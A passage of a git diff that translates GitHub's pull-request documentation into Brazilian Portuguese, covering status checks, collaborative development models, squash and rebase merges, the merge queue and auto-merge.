+- "[Sobre conflitos de merge](/pull-requests/collaborating-with-pull-requests/addressing-merge-conflicts/about-merge-conflicts)"
+- "[Fazer checkout de pull requests no local](/articles/checking-out-pull-requests-locally/)"
diff --git a/translations/pt-BR/content/pull-requests/collaborating-with-pull-requests/collaborating-on-repositories-with-code-quality-features/about-status-checks.md b/translations/pt-BR/content/pull-requests/collaborating-with-pull-requests/collaborating-on-repositories-with-code-quality-features/about-status-checks.md
index a578538671..fee1339206 100644
--- a/translations/pt-BR/content/pull-requests/collaborating-with-pull-requests/collaborating-on-repositories-with-code-quality-features/about-status-checks.md
+++ b/translations/pt-BR/content/pull-requests/collaborating-with-pull-requests/collaborating-on-repositories-with-code-quality-features/about-status-checks.md
@@ -1,6 +1,6 @@
 ---
-title: About status checks
-intro: Status checks let you know if your commits meet the conditions set for the repository you're contributing to.
+title: Sobre verificações de status
+intro: As verificações de status permitem que você saiba se seus commits atendem às condições definidas para o repositório com o qual está contribuindo.
 redirect_from:
   - /github/collaborating-with-issues-and-pull-requests/collaborating-on-repositories-with-code-quality-features/about-status-checks
   - /articles/about-statuses
@@ -15,61 +15,62 @@ versions:
 topics:
   - Pull requests
 ---
-Status checks are based on external processes, such as continuous integration builds, which run for each push you make to a repository. You can see the *pending*, *passing*, or *failing* state of status checks next to individual commits in your pull request.
 
-![List of commits and statuses](/assets/images/help/pull_requests/commit-list-statuses.png)
+As verificações de status se baseiam em processos externos, como compilações de integração contínua, que são executados para cada push que você faz em um repositório. Você pode ver o estado de *pendência*, *aprovação* ou *falha* das verificações de status ao lado de commits individuais em sua pull request.
 
-Anyone with write permissions to a repository can set the state for any status check in the repository.
+![Lista de commits e status](/assets/images/help/pull_requests/commit-list-statuses.png)
 
-You can see the overall state of the last commit to a branch on your repository's branches page or in your repository's list of pull requests.
+Qualquer pessoa com permissão de gravação em um repositório pode configurar o estado de qualquer verificação de status no repositório.
+
+É possível ver o estado geral do último commit em um branch na página de branches do seu repositório ou na lista de pull requests do seu repositório.
 
 {% data reusables.pull_requests.required-checks-must-pass-to-merge %}
 
-## Types of status checks on {% data variables.product.product_name %}
+## Tipos de verificação de status no {% data variables.product.product_name %}
 
-There are two types of status checks on {% data variables.product.product_name %}:
+Há dois tipos de verificação de status no {% data variables.product.product_name %}:
 
-- Checks
-- Statuses
+- Verificações
+- Status
 
-_Checks_ are different from _statuses_ in that they provide line annotations, more detailed messaging, and are only available for use with {% data variables.product.prodname_github_apps %}.
+As _Verificações_ são diferentes dos _status_ na medida que fornecem anotações de linha, mensagens mais detalhadas e só estão disponíveis para uso com {% data variables.product.prodname_github_apps %}.
 
-Organization owners and users with push access to a repository can create checks and statuses with {% data variables.product.product_name %}'s API. For more information, see "[Checks](/rest/reference/checks)" and "[Statuses](/rest/reference/repos#statuses)."
+Os proprietários da organização e usuários com acesso push a um repositório podem criar verificações e status com a API do {% data variables.product.product_name %}. Para obter mais informações, consulte "[Verificações](/rest/reference/checks)" e "[Status](/rest/reference/repos#statuses)".
 
-## Checks
+## Verificações
 
-When _checks_ are set up in a repository, pull requests have a **Checks** tab where you can view detailed build output from status checks and rerun failed checks.
+Quando _verificações_ são configuradas em um repositório, as pull requests apresentam uma guia **Checks** (Verificações), onde é possível exibir o resultado detalhado da compilação de verificações de status e executar novamente as verificações com falha.
 
-![Status checks within a pull request](/assets/images/help/pull_requests/checks.png)
+![Verificações de status em uma pull request](/assets/images/help/pull_requests/checks.png)
 
 {% note %}
 
-**Note:** The **Checks** tab only gets populated for pull requests if you set up _checks_, not _statuses_, for the repository.
+**Observação:** A aba **Verificações** só é preenchida para pull requests se você configurar _verificações_, não _status_, para o repositório.
 
 {% endnote %}
 
-When a specific line in a commit causes a check to fail, you will see details about the failure, warning, or notice next to the relevant code in the **Files** tab of the pull request.
+Quando uma linha específica em um commit causar a falha de uma verificação, você verá detalhes sobre a falha, o aviso ou a advertência ao lado do código relevante na guia **Files** (Arquivos) da pull request.
 
-![Details of a status check](/assets/images/help/pull_requests/checks-detailed.png)
+![Detalhes de uma verificação de status](/assets/images/help/pull_requests/checks-detailed.png)
 
-You can navigate between the checks summaries for various commits in a pull request, using the commit drop-down menu under the **Conversation** tab.
+Você pode navegar entre os resumos das verificações de vários commits em uma pull request usando o menu suspenso do commit na guia **Conversation** (Conversa).
 
-![Check summaries for different commits in a drop-down menu](/assets/images/help/pull_requests/checks-summary-for-various-commits.png)
+![Resumos de verificação para diferentes commits em um menu suspenso](/assets/images/help/pull_requests/checks-summary-for-various-commits.png)
 
-### Skipping and requesting checks for individual commits
+### Ignorar e solicitar verificações para commits individuais
 
-When a repository is set to automatically request checks for pushes, you can choose to skip checks for an individual commit you push. When a repository is _not_ set to  automatically request checks for pushes, you can request checks for an individual commit you push. For more information on these settings, see "[Check Suites](/rest/reference/checks#update-repository-preferences-for-check-suites)."
+Quando um repositório é definido para solicitar verificações por pushes automaticamente, você pode optar por ignorar as verificações para um commit individual do qual fez push. Quando um repositório _não_ é definido para solicitar verificações por pushes automaticamente, você pode solicitar verificações para um commit individual do qual fez push. Para obter mais informações sobre essas configurações, consulte "[Conjuntos de verificações](/rest/reference/checks#update-repository-preferences-for-check-suites)".
 
-To skip or request checks for your commit, add one of the following trailer lines to the end of your commit message:
+Para ignorar ou solicitar verificações para seu commit, adicione uma das seguintes linhas de trailer ao fim da mensagem do commit:
 
-- To _skip checks_ for a commit, type your commit message and a short, meaningful description of your changes. After your commit description, before the closing quotation, add two empty lines followed by `skip-checks: true`:
+- Para _ignorar verificações_ para um commit, digite a mensagem do commit e uma descrição breve e significativa das alterações. Após a descrição do commit, antes da cotação de fechamento, adicione duas linhas vazias seguidas de `skip-checks: true`:
   ```shell
   $ git commit -m "Update README
   >
   >
   skip-checks: true"
   ```
-- To _request_ checks for a commit, type your commit message and a short, meaningful description of your changes. After your commit description, before the closing quotation, add two empty lines followed by `request-checks: true`:
+- Para _solicitar_ verificações para um commit, digite a mensagem do commit e uma descrição breve e significativa das alterações. Após a descrição do commit, antes da cotação de fechamento, adicione duas linhas vazias seguidas de `request-checks: true`:
   ```shell
   $ git commit -m "Refactor usability tests
   >
diff --git a/translations/pt-BR/content/pull-requests/collaborating-with-pull-requests/collaborating-on-repositories-with-code-quality-features/index.md b/translations/pt-BR/content/pull-requests/collaborating-with-pull-requests/collaborating-on-repositories-with-code-quality-features/index.md
index 04a027d1a8..eaaae05227 100644
--- a/translations/pt-BR/content/pull-requests/collaborating-with-pull-requests/collaborating-on-repositories-with-code-quality-features/index.md
+++ b/translations/pt-BR/content/pull-requests/collaborating-with-pull-requests/collaborating-on-repositories-with-code-quality-features/index.md
@@ -1,6 +1,6 @@
 ---
-title: Collaborating on repositories with code quality features
-intro: 'Workflow quality features like statuses, {% ifversion ghes %}pre-receive hooks, {% endif %}protected branches, and required status checks help collaborators make contributions that meet conditions set by organization and repository administrators.'
+title: Colaborar nos repositórios com recursos de qualidade de código
+intro: 'Os recursos de qualidade do fluxo de trabalho, como status, {% ifversion ghes %}hooks pre-receive, {% endif %}branches protegidos e verificações de status obrigatórias ajudam os colaboradores a fazer contribuições que atendem às condições definidas pela organização e por administradores de repositório.'
 redirect_from:
   - /github/collaborating-with-issues-and-pull-requests/collaborating-on-repositories-with-code-quality-features
   - /articles/collaborating-on-repositories-with-code-quality-features-enabled
@@ -16,5 +16,6 @@ topics:
 children:
   - /about-status-checks
   - /working-with-pre-receive-hooks
-shortTitle: Code quality features
+shortTitle: Funcionalidades de qualidade do código
 ---
+
diff --git a/translations/pt-BR/content/pull-requests/collaborating-with-pull-requests/getting-started/about-collaborative-development-models.md b/translations/pt-BR/content/pull-requests/collaborating-with-pull-requests/getting-started/about-collaborative-development-models.md
index 4edfc60e28..85018a38d1 100644
--- a/translations/pt-BR/content/pull-requests/collaborating-with-pull-requests/getting-started/about-collaborative-development-models.md
+++ b/translations/pt-BR/content/pull-requests/collaborating-with-pull-requests/getting-started/about-collaborative-development-models.md
@@ -1,6 +1,6 @@
 ---
-title: About collaborative development models
-intro: The way you use pull requests depends on the type of development model you use in your project. You can use the fork and pull model or the shared repository model.
+title: Sobre modelos de desenvolvimento colaborativo
+intro: O modo como você usa pull requests depende do tipo de modelo de desenvolvimento usado no projeto. Você pode usar a bifurcação e o modelo de pull ou o modelo de repositório compartilhado.
 redirect_from:
   - /github/collaborating-with-issues-and-pull-requests/getting-started/about-collaborative-development-models
   - /articles/types-of-collaborative-development-models
@@ -14,24 +14,25 @@ versions:
   ghec: '*'
 topics:
   - Pull requests
-shortTitle: Collaborative development
+shortTitle: Desenvolvimento colaborativo
 ---
-## Fork and pull model
 
-In the fork and pull model, anyone can fork an existing repository and push changes to their personal fork. You do not need permission to the source repository to push to a user-owned fork. The changes can be pulled into the source repository by the project maintainer. When you open a pull request proposing changes from your user-owned fork to a branch in the source (upstream) repository, you can allow anyone with push access to the upstream repository to make changes to your pull request.  This model is popular with open source projects as it reduces the amount of friction for new contributors and allows people to work independently without upfront coordination.
+## Modelo de bifurcação e pull
+
+No fork e pull model, qualquer um pode bifurcar um repositório existente e fazer push das alterações em sua bifurcação pessoal. Você não precisa de permissão ao repositório de origem para fazer push em uma bifurcação de propriedade do usuário. As alterações podem ser enviadas por pull no repositório de origem pelo mantenedor do projeto. Ao abrir uma pull request propondo alterações a partir de sua bifurcação de propriedade de usuário para um branch no repositório de origem (upstream), você poderá permitir que qualquer pessoa com acesso push ao repositório upstream faça alterações na sua pull request.  Esse modelo é popular entre projetos de código aberto, pois ele reduz a resistência de novos contribuidores, além de permitir que as pessoas trabalhem de modo independente sem coordenação inicial.
 
 {% tip %}
 
-**Tip:** {% data reusables.open-source.open-source-guide-general %} {% data reusables.open-source.open-source-learning-lab %}
+**Dica:** {% data reusables.open-source.open-source-guide-general %} {% data reusables.open-source.open-source-learning-lab %}
 
 {% endtip %}
 
-## Shared repository model
+## Modelo de repositório compartilhado
 
-In the shared repository model, collaborators are granted push access to a single shared repository and topic branches are created when changes need to be made. Pull requests are useful in this model as they initiate code review and general discussion about a set of changes before the changes are merged into the main development branch. This model is more prevalent with small teams and organizations collaborating on private projects.
+No modelo de repositório compartilhado, os colaboradores recebem acesso push a um único repositório compartilhado e branches de tópico são criados quando alterações precisam ser feitas. As pull requests são úteis nesse modelo, uma vez que iniciam a revisão de código e a discussão geral sobre um conjunto de alterações antes que elas sofram merge no branch de desenvolvimento principal. Esse modelo é mais predominante em equipes e organizações pequenas que colaboram em projetos privados.
 
-## Further reading
+## Leia mais
 
-- "[About pull requests](/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/about-pull-requests)"
-- "[Creating a pull request from a fork](/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/creating-a-pull-request-from-a-fork)"
-- "[Allowing changes to a pull request branch created from a fork](/pull-requests/collaborating-with-pull-requests/working-with-forks/allowing-changes-to-a-pull-request-branch-created-from-a-fork)"
+- "[Sobre pull requests](/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/about-pull-requests)"
+- "[Criar uma pull request de uma bifurcação](/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/creating-a-pull-request-from-a-fork)"
+- "[Permitir alterações em um branch de pull request criada de uma bifurcação](/pull-requests/collaborating-with-pull-requests/working-with-forks/allowing-changes-to-a-pull-request-branch-created-from-a-fork)"
diff --git a/translations/pt-BR/content/pull-requests/collaborating-with-pull-requests/getting-started/index.md b/translations/pt-BR/content/pull-requests/collaborating-with-pull-requests/getting-started/index.md
index 1fef23a997..d638e6a92c 100644
--- a/translations/pt-BR/content/pull-requests/collaborating-with-pull-requests/getting-started/index.md
+++ b/translations/pt-BR/content/pull-requests/collaborating-with-pull-requests/getting-started/index.md
@@ -1,7 +1,7 @@
 ---
-title: Getting started
-shortTitle: Getting started
-intro: 'Learn about the {% data variables.product.prodname_dotcom %} flow and different ways to collaborate on and discuss your projects.'
+title: Introdução
+shortTitle: Introdução
+intro: 'Saiba mais sobre o fluxo do {% data variables.product.prodname_dotcom %} e diferentes maneiras de colaborar e discutir seus projetos.'
 redirect_from:
   - /github/collaborating-with-issues-and-pull-requests/getting-started
   - /github/collaborating-with-issues-and-pull-requests/overview
@@ -19,3 +19,4 @@ topics:
 children:
   - /about-collaborative-development-models
 ---
+
diff --git a/translations/pt-BR/content/pull-requests/collaborating-with-pull-requests/incorporating-changes-from-a-pull-request/about-pull-request-merges.md b/translations/pt-BR/content/pull-requests/collaborating-with-pull-requests/incorporating-changes-from-a-pull-request/about-pull-request-merges.md
index cdec1046a8..18695dd0df 100644
--- a/translations/pt-BR/content/pull-requests/collaborating-with-pull-requests/incorporating-changes-from-a-pull-request/about-pull-request-merges.md
+++ b/translations/pt-BR/content/pull-requests/collaborating-with-pull-requests/incorporating-changes-from-a-pull-request/about-pull-request-merges.md
@@ -1,6 +1,6 @@
 ---
-title: About pull request merges
-intro: 'You can [merge pull requests](/pull-requests/collaborating-with-pull-requests/incorporating-changes-from-a-pull-request/merging-a-pull-request) by retaining all the commits in a feature branch, squashing all commits into a single commit, or by rebasing individual commits from the `head` branch onto the `base` branch.'
+title: Sobre merges de pull request
+intro: 'Você pode [fazer merge de pull requests](/pull-requests/collaborating-with-pull-requests/incorporating-changes-from-a-pull-request/merging-a-pull-request) mantendo todos os commits em um branch de recurso, fazendo a cmbinação por squash de todos os commits em um único commit, ou rebaseando os commits individuais a partir do branch `head` no branch `base`.'
 redirect_from:
   - /github/collaborating-with-issues-and-pull-requests/incorporating-changes-from-a-pull-request/about-pull-request-merges
   - /articles/about-pull-request-merge-squashing
@@ -15,46 +15,47 @@ versions:
 topics:
   - Pull requests
 ---
+
 {% data reusables.pull_requests.default_merge_option %}
 
-## Squash and merge your pull request commits
+## Combinar por squash e fazer merge de commits da pull request
 
 {% data reusables.pull_requests.squash_and_merge_summary %}
 
-### Merge message for a squash merge
+### Mesclar mensagem para uma mesclagem por squash
 
-When you squash and merge, {% data variables.product.prodname_dotcom %} generates a commit message which you can change if you want to. The message default depends on whether the pull request contains multiple commits or just one. We do not include merge commits when we count the total number of commits.
+Quando você faz combinação por squash e merge, o {% data variables.product.prodname_dotcom %} gera uma mensagem de commit que você pode mudar se quiser. O padrão da mensagem depende se a  pull request contém vários commits ou apenas um. Nós não incluímos commits de merge quando contamos o número total de commits.
 
-Number of commits | Summary | Description |
------------------ | ------- | ----------- |
-One commit | The title of the commit message for the single commit, followed by the pull request number | The body text of the commit message for the single commit
-More than one commit | The pull request title, followed by the pull request number | A list of the commit messages for all of the squashed commits, in date order
+| Número de commits | Sumário                                                                           | Descrição                                                                                        |
+| ----------------- | --------------------------------------------------------------------------------- | ------------------------------------------------------------------------------------------------ |
+| Um commit         | O título da mensagem de commit do único commit, seguido do número de pull request | O texto da mensagem de commit para o único commit                                                |
+| Mais de um commit | Título da pull request, seguido do número da pull request                         | Uma lista das mensagens de commit para todos os commits combinados por squash, por ordem de data |
 
-### Squashing and merging a long-running branch
+### Fazendo combinação por squash e merge com um branch de longa duração
 
-If you plan to continue work on the [head branch](/github/getting-started-with-github/github-glossary#head-branch) of a pull request after the pull request is merged, we recommend you don't squash and merge the pull request.
+Se você planeja continuar trabalhando no [branch head](/github/getting-started-with-github/github-glossary#head-branch) de uma pull request depois que a pull request for mesclada, recomendamos que você não combine por squash nem faça o merge da pull request.
 
-When you create a pull request, {% data variables.product.prodname_dotcom %} identifies the most recent commit that is on both the head branch and the [base branch](/github/getting-started-with-github/github-glossary#base-branch): the common ancestor commit. When you squash and merge the pull request, {% data variables.product.prodname_dotcom %} creates a commit on the base branch that contains all of the changes you made on the head branch since the common ancestor commit.
+Quando você cria uma pull request, o {% data variables.product.prodname_dotcom %} identifica o commit mais recente que existe tanto no branch head quanto no [branch base](/github/getting-started-with-github/github-glossary#base-branch): o commit de ancestral comum. Quando você combinar por squash e mesclar a pull request, o {% data variables.product.prodname_dotcom %} cria um commit no branch base que contém todas as alterações feitas no branch head desde o commit de ancestral comum.
 
-Because this commit is only on the base branch and not the head branch, the common ancestor of the two branches remains unchanged. If you continue to work on the head branch, then create a new pull request between the two branches, the pull request will include all of the commits since the common ancestor, including commits that you squashed and merged in the previous pull request. If there are no conflicts, you can safely merge these commits. However, this workflow makes merge conflicts more likely. If you continue to squash and merge pull requests for a long-running head branch, you will have to resolve the same conflicts repeatedly.
+Uma vez que esse commit está apenas no branch base e não no branch head, o ancestral comum dos dois branches permanece inalterado. Se você continuar a trabalhar no branch head e, em seguida, criar uma nova pull request entre os dois branches, a pull request incluirá todos os commits desde o ancestral comum, incluindo commits que você combinou por squash e fez merge na pull request anterior. Se não houver conflitos, você pode mesclar esses commits com segurança. No entanto, este fluxo de trabalho torna os conflitos de mesclagem mais prováveis. Se você continuar a combinar por squash e mesclar pull requests para um branch head de longo prazo, você terá que resolver os mesmos conflitos repetidamente.
 
-## Rebase and merge your pull request commits
+## Fazer rebase e merge dos commits da sua pull request
 
 {% data reusables.pull_requests.rebase_and_merge_summary %}
 
-You aren't able to automatically rebase and merge on {% data variables.product.product_location %} when:
-- The pull request has merge conflicts.
-- Rebasing the commits from the base branch into the head branch runs into conflicts.
-- Rebasing the commits is considered "unsafe," such as when a rebase is possible without merge conflicts but would produce a different result than a merge would.
+Você não pode fazer rebase e merge automaticamente no {% data variables.product.product_location %} quando:
+- A pull request tem conflitos de merge.
+- O rebase dos commits do branch base no branch head se depara com conflitos.
+- O rebase dos commits é considerado "não seguro"; por exemplo, quando é possível fazer rebase sem conflitos de merge, mas que geraria um resultado diferente daquele que um merge geraria.
 
-If you still want to rebase the commits but can't rebase and merge automatically on {% data variables.product.product_location %} you must:
-- Rebase the topic branch (or head branch) onto the base branch locally on the command line
-- [Resolve any merge conflicts on the command line](/articles/resolving-a-merge-conflict-using-the-command-line/).
-- Force-push the rebased commits to the pull request's topic branch (or remote head branch).
+Se ainda quiser fazer rebase dos commits, mas não puder fazer rebase e merge automaticamente no {% data variables.product.product_location %}, você deverá:
+- Fazer rebase do branch de tópico (ou branch head) no branch base localmente na linha de comando
+- [Resolver qualquer conflito de merge na linha de comando](/articles/resolving-a-merge-conflict-using-the-command-line/).
+- Forçar push dos commits com rebase no branch de tópico da pull request (ou branch head remoto).
 
-Anyone with write permissions in the repository, can then [merge the changes](/articles/merging-a-pull-request/) using the rebase and merge button on {% data variables.product.product_location %}.
+Qualquer pessoa com permissões de gravação no repositório pode [fazer merge das alterações](/articles/merging-a-pull-request/) usando o botão de rebase e merge no {% data variables.product.product_location %}.
 
-## Further reading
+## Leia mais
 
-- "[About pull requests](/articles/about-pull-requests/)"
-- "[Addressing merge conflicts](/github/collaborating-with-pull-requests/addressing-merge-conflicts)"
+- "[Sobre pull requests](/articles/about-pull-requests)"
+- "[Solucionar conflitos de merge](/github/collaborating-with-pull-requests/addressing-merge-conflicts)"
diff --git a/translations/pt-BR/content/pull-requests/collaborating-with-pull-requests/incorporating-changes-from-a-pull-request/adding-a-pull-request-to-the-merge-queue.md b/translations/pt-BR/content/pull-requests/collaborating-with-pull-requests/incorporating-changes-from-a-pull-request/adding-a-pull-request-to-the-merge-queue.md
index 9f460d5bbc..fa7aed1fd4 100644
--- a/translations/pt-BR/content/pull-requests/collaborating-with-pull-requests/incorporating-changes-from-a-pull-request/adding-a-pull-request-to-the-merge-queue.md
+++ b/translations/pt-BR/content/pull-requests/collaborating-with-pull-requests/incorporating-changes-from-a-pull-request/adding-a-pull-request-to-the-merge-queue.md
@@ -1,61 +1,60 @@
 ---
-title: Adding a pull request to the merge queue
-intro: If merge queues are enabled for the repository, you can add your pull requests to the merge queue once all the required checks have passed. {% data variables.product.product_name %} will merge the pull requests for you.
+title: Adicionando um pull request à fila de merge
+intro: 'Se as filas de merge estiverem habilitadas para o repositório, você poderá adicionar seus pull requests à fila de merge assim que todas as verificações necessárias tiverem passado. {% data variables.product.product_name %} fará merge dos pull requests para você.'
 versions:
   fpt: '*'
   ghec: '*'
 topics:
   - Pull requests
-shortTitle: Add PR to merge queue
-redirect_from:  
+shortTitle: Adicionar PR à fila de merge
+redirect_from:
   - /github/collaborating-with-pull-requests/incorporating-changes-from-a-pull-request/adding-a-pull-request-to-the-merge-queue
 ---
 
 {% data reusables.pull_requests.merge-queue-beta %}
 
-## About pull request merge queue
+## Sobre a a fila de merge do pull request
 
 {% data reusables.pull_requests.merge-queue-overview-short %}
 {% data reusables.pull_requests.merge-queue-references %}
 
-## Adding a pull request to the merge queue
+## Adicionando um pull request à fila de merge
 
 {% data reusables.repositories.navigate-to-repo %}
 {% data reusables.repositories.sidebar-pr %}
-1. In the "Pull Requests" list, click the pull request you'd like to add to the merge queue.
-1. Click **Add to merge queue** to add your pull request to the merge queue. This enables the default **Queue and merge in a group** option. Alternatively, you can:
-   - Add your pull request to the front of the queue by selecting the **Add to merge queue** drop down menu, and clicking **Jump the queue** (only available to repository maintainers and administrators).
-   - Directly merge your pull request by selecting the **Add to merge queue** drop down menu, and clicking **Directly merge** (only available to repository administrators).
-   ![Merge queue options](/assets/images/help/pull_requests/merge-queue-options.png)
+1. Na lista "Pull Requests", clique no pull request que você deseja adicionar à fila de merge.
+1. Clique **Adicionar à fila de merge** para adicionar seu pull request à fila de merge. Isso habilita a opção padrão **Fila e merge em um grupo**. Como alternativa, você pode:
+   - Adicione seu pull request à frente da fila, selecionando o menu suspenso **Adicionar à gila de merge** e clicando em **Pular a fila** (disponível apenas para mantenedores e administradores do repositório).
+   - Faça o merge direto do seu pull request selecionando o menu suspenso **Adicionar à fila de merge** e clicando em **Fazer merge diretamente** (disponível apenas para administradores do repositório). ![Opções da fila de merge](/assets/images/help/pull_requests/merge-queue-options.png)
 
-   {% tip %} 
+   {% tip %}
 
-   **Tip:** The **Add to merge queue** button is only enabled once the pull request meets all the review/approval and status check requirements.
+   **Dica:** O botão **Adicionar à fila de merge** só é habilitado quando o pull request atender a todos os requisitos de revisão/aprovação e verificação de status.
 
    {% endtip %}
-2. Confirm you want to add the pull request to the merge queue by clicking **Confirm add to merge queue**.
-   {% data variables.product.product_name %} adds the pull request to the merge queue and will merge it for you.
+2. Confirme que você deseja adicionar o pull request à fila de merge clicando em **Confirmar a adição à fila de merge**.
+   {% data variables.product.product_name %} adiciona o pull request à fila de merge e irá fazer o merge para você.
 
-## Viewing the merge queue
+## Visualizando a fila de merge
 
-You can view the merge queue in various places on {% data variables.product.product_name %}.
+Você pode visualizar a fila de merge em vários lugares em {% data variables.product.product_name %}.
 
-   - On the **Branches** page for the repository. We recommend you use this route if you don't have or don't know about a pull request already in the queue, and if you want to see what's in the queue. For more information, see "[Viewing branches in your repository](/repositories/configuring-branches-and-merges-in-your-repository/managing-branches-in-your-repository/viewing-branches-in-your-repository)."
+   - Na página **Branches** para o repositório. Recomendamos que você use encaminhamento rota se você não tiver ou não conhecer um pull request já na fila e se você quiser ver o que está na fila. Para obter mais informações, consulte "[Visualizar branches no seu repositório](/repositories/configuring-branches-and-merges-in-your-repository/managing-branches-in-your-repository/viewing-branches-in-your-repository)".
 
-  ![View merge queue in Branches page](/assets/images/help/pull_requests/merge-queue-branches-page.png)
+  ![Visualizar fila de merge na página de Branches](/assets/images/help/pull_requests/merge-queue-branches-page.png)
 
-- On the **Pull requests** page of your repository, click {% octicon "clock" aria-label="The clock symbol" %}.
+- Na página **Pull requests** do seu repositório, clique em {% octicon "clock" aria-label="The clock symbol" %}.
 
-  ![View merge queue on Pull requests page](/assets/images/help/pull_requests/clock-icon-in-pull-request-list.png)
+  ![Visualizar fila de merge na página de Pull requests](/assets/images/help/pull_requests/clock-icon-in-pull-request-list.png)
 
-- On your pull request, scroll down to the section with the checks, and click **View merge queue**.
+- No seu pull request, role para baixo para a seção com as verificações e clique em **Visualizar fila de merge**.
 
-  ![View Merge queue button on pull request](/assets/images/help/pull_requests/view-merge-queue-button.png)
+  ![Ver botão de fila de merge no pull request](/assets/images/help/pull_requests/view-merge-queue-button.png)
 
-The merge queue view shows the pull requests that are currently in the queue, with your pull requests clearly marked.
+A exibição da fila de merge mostra os pull requests que estão atualmente na fila, com seus pull requests claramente marcados.
 
-![Merge queue view](/assets/images/help/pull_requests/merge-queue-view.png)
+![Visualização da fila de merge](/assets/images/help/pull_requests/merge-queue-view.png)
+
+## Manipulação de pull requests removidos da fila de merge
 
-## Handling pull requests removed from the merge queue
-	
 {% data reusables.pull_requests.merge-queue-reject %}
diff --git a/translations/pt-BR/content/pull-requests/collaborating-with-pull-requests/incorporating-changes-from-a-pull-request/automatically-merging-a-pull-request.md b/translations/pt-BR/content/pull-requests/collaborating-with-pull-requests/incorporating-changes-from-a-pull-request/automatically-merging-a-pull-request.md
index 36d4f570c7..a9ece867a0 100644
--- a/translations/pt-BR/content/pull-requests/collaborating-with-pull-requests/incorporating-changes-from-a-pull-request/automatically-merging-a-pull-request.md
+++ b/translations/pt-BR/content/pull-requests/collaborating-with-pull-requests/incorporating-changes-from-a-pull-request/automatically-merging-a-pull-request.md
@@ -1,6 +1,6 @@
 ---
-title: Automatically merging a pull request
-intro: You can increase development velocity by enabling auto-merge for a pull request so that the pull request will merge automatically when all merge requirements are met.
+title: Fazer merge automático de um pull request
+intro: Você pode aumentar a velocidade de desenvolvimento permitindo o merge automático de um pull request para que o pull request seja mesclado automaticamente quando todos os requisitos de merge forem atendidos.
 product: '{% data reusables.gated-features.auto-merge %}'
 versions:
   fpt: '*'
@@ -13,42 +13,38 @@ redirect_from:
   - /github/collaborating-with-issues-and-pull-requests/incorporating-changes-from-a-pull-request/automatically-merging-a-pull-request
   - /github/collaborating-with-issues-and-pull-requests/automatically-merging-a-pull-request
   - /github/collaborating-with-pull-requests/incorporating-changes-from-a-pull-request/automatically-merging-a-pull-request
-shortTitle: Merge PR automatically
+shortTitle: Fazer merge do PR automaticamente
 ---
-## About auto-merge
 
-If you enable auto-merge for a pull request, the pull request will merge automatically when all required reviews are met and status checks have passed. Auto-merge prevents you from waiting around for requirements to be met, so you can move on to other tasks.
+## Sobre o merge automático
 
-Before you can use auto-merge with a pull request, auto-merge must be enabled for the repository. For more information, see "[Managing auto-merge for pull requests in your repository](/github/administering-a-repository/managing-auto-merge-for-pull-requests-in-your-repository)."{% ifversion fpt or ghae or ghes > 3.1 or ghec %}
+Se você habilitar o merge automático para um pull request, este será mesclado automaticamente quando todas as revisões necessárias forem atendidas e as verificações de status forem aprovadas. O merge automático impede que você espere que os sejam atendidos para que você possa passar para outras tarefas.
 
-After you enable auto-merge for a pull request, if someone who does not have write permissions to the repository pushes new changes to the head branch or switches the base branch of the pull request, auto-merge will be disabled. For example, if a maintainer enables auto-merge for a pull request from a fork, auto-merge will be disabled after a contributor pushes new changes to the pull request.{% endif %}
+Antes de usar o merge automático com um pull request, o merge automático deve ser habilitado para o repositório. Para obter mais informações, consulte "[Gerenciar merge automático para pull requests no seu repositório](/github/administering-a-repository/managing-auto-merge-for-pull-requests-in-your-repository)."{% ifversion fpt or ghae or ghes > 3.1 or ghec %}
 
-You can provide feedback about auto-merge by [contacting us](https://support.github.com/contact/feedback?category=prs-and-code-review&subject=Pull%20request%20auto-merge%20feedback).
+Depois que você ativar o merge automático para uma pull request, se alguém que não tiver permissões de gravação no repositório fizer push de novas alterações no branch principal ou alterar o branch de base do pull request, o merge automático será desabilitado. Por exemplo, se um mantenedor permitir o merge automático para um pull request a partir de uma bifurcação, o merge automático será desabilitado depois que um colaborador fizer push de novas alterações no pull request.{% endif %}
 
-## Enabling auto-merge
+Você pode fornecer feedback sobre o merge automático [entrando em contato conosco](https://support.github.com/contact/feedback?category=prs-and-code-review&subject=Pull%20request%20auto-merge%20feedback).
+
+## Habilitar merge automático
 
 {% data reusables.pull_requests.auto-merge-requires-branch-protection %}
 
-People with write permissions to a repository can enable auto-merge for a pull request.
+Pessoas com permissões de gravação em um repositório podem habilitar o merge automático em um pull request.
 
 {% data reusables.repositories.navigate-to-repo %}
 {% data reusables.repositories.sidebar-pr %}
-1. In the "Pull Requests" list, click the pull request you'd like to auto-merge.
-1. Optionally, to choose a merge method, select the **Enable auto-merge** drop-down menu, then click a merge method. For more information, see "[About pull request merges](/github/collaborating-with-issues-and-pull-requests/about-pull-request-merges)."
-  !["Enable auto-merge" drop-down menu](/assets/images/help/pull_requests/enable-auto-merge-drop-down.png)
-1. Click **Enable auto-merge**.
-  ![Button to enable auto-merge](/assets/images/help/pull_requests/enable-auto-merge-button.png)
-1. If you chose the merge or squash and merge methods, type a commit message and description and choose the email address you want to author the merge commit.
-  ![Fields to enter commit message and description and choose commit author email](/assets/images/help/pull_requests/pull-request-information-fields.png)
-1. Click **Confirm auto-merge**.
-  ![Button to confirm auto-merge](/assets/images/help/pull_requests/confirm-auto-merge-button.png)
+1. Na lista "Pull Requests", clique no pull request para o qual você deseja fazer o merge automático.
+1. Opcionalmente, para escolher um método de merge, selecione o menu suspenso **Habilitar merge automático** e, em seguida, clique em um método de merge. Para obter mais informações, consulte "[Sobre merges da pull request](/github/collaborating-with-issues-and-pull-requests/about-pull-request-merges)". ![Menu suspenso "Habilitar merge automático"](/assets/images/help/pull_requests/enable-auto-merge-drop-down.png)
+1. Clique **Habilitar merge automático**. ![Botão para habilitar merge automático](/assets/images/help/pull_requests/enable-auto-merge-button.png)
+1. Se você escolheu os métodos de merge ou combinação por squash, digite uma mensagem de commit e a descrição e escolha o endereço de e-mail que você deseja criar o commimt de merge.![Campos para inserir mensagem de commit e descrição e escolher o e-mail do autor do commit](/assets/images/help/pull_requests/pull-request-information-fields.png)
+1. Clique em **Confirmar merge automático**. ![Botão para confirmar o merge automático](/assets/images/help/pull_requests/confirm-auto-merge-button.png)
 
-## Disabling auto-merge
+## Desabilitar o merge automático
 
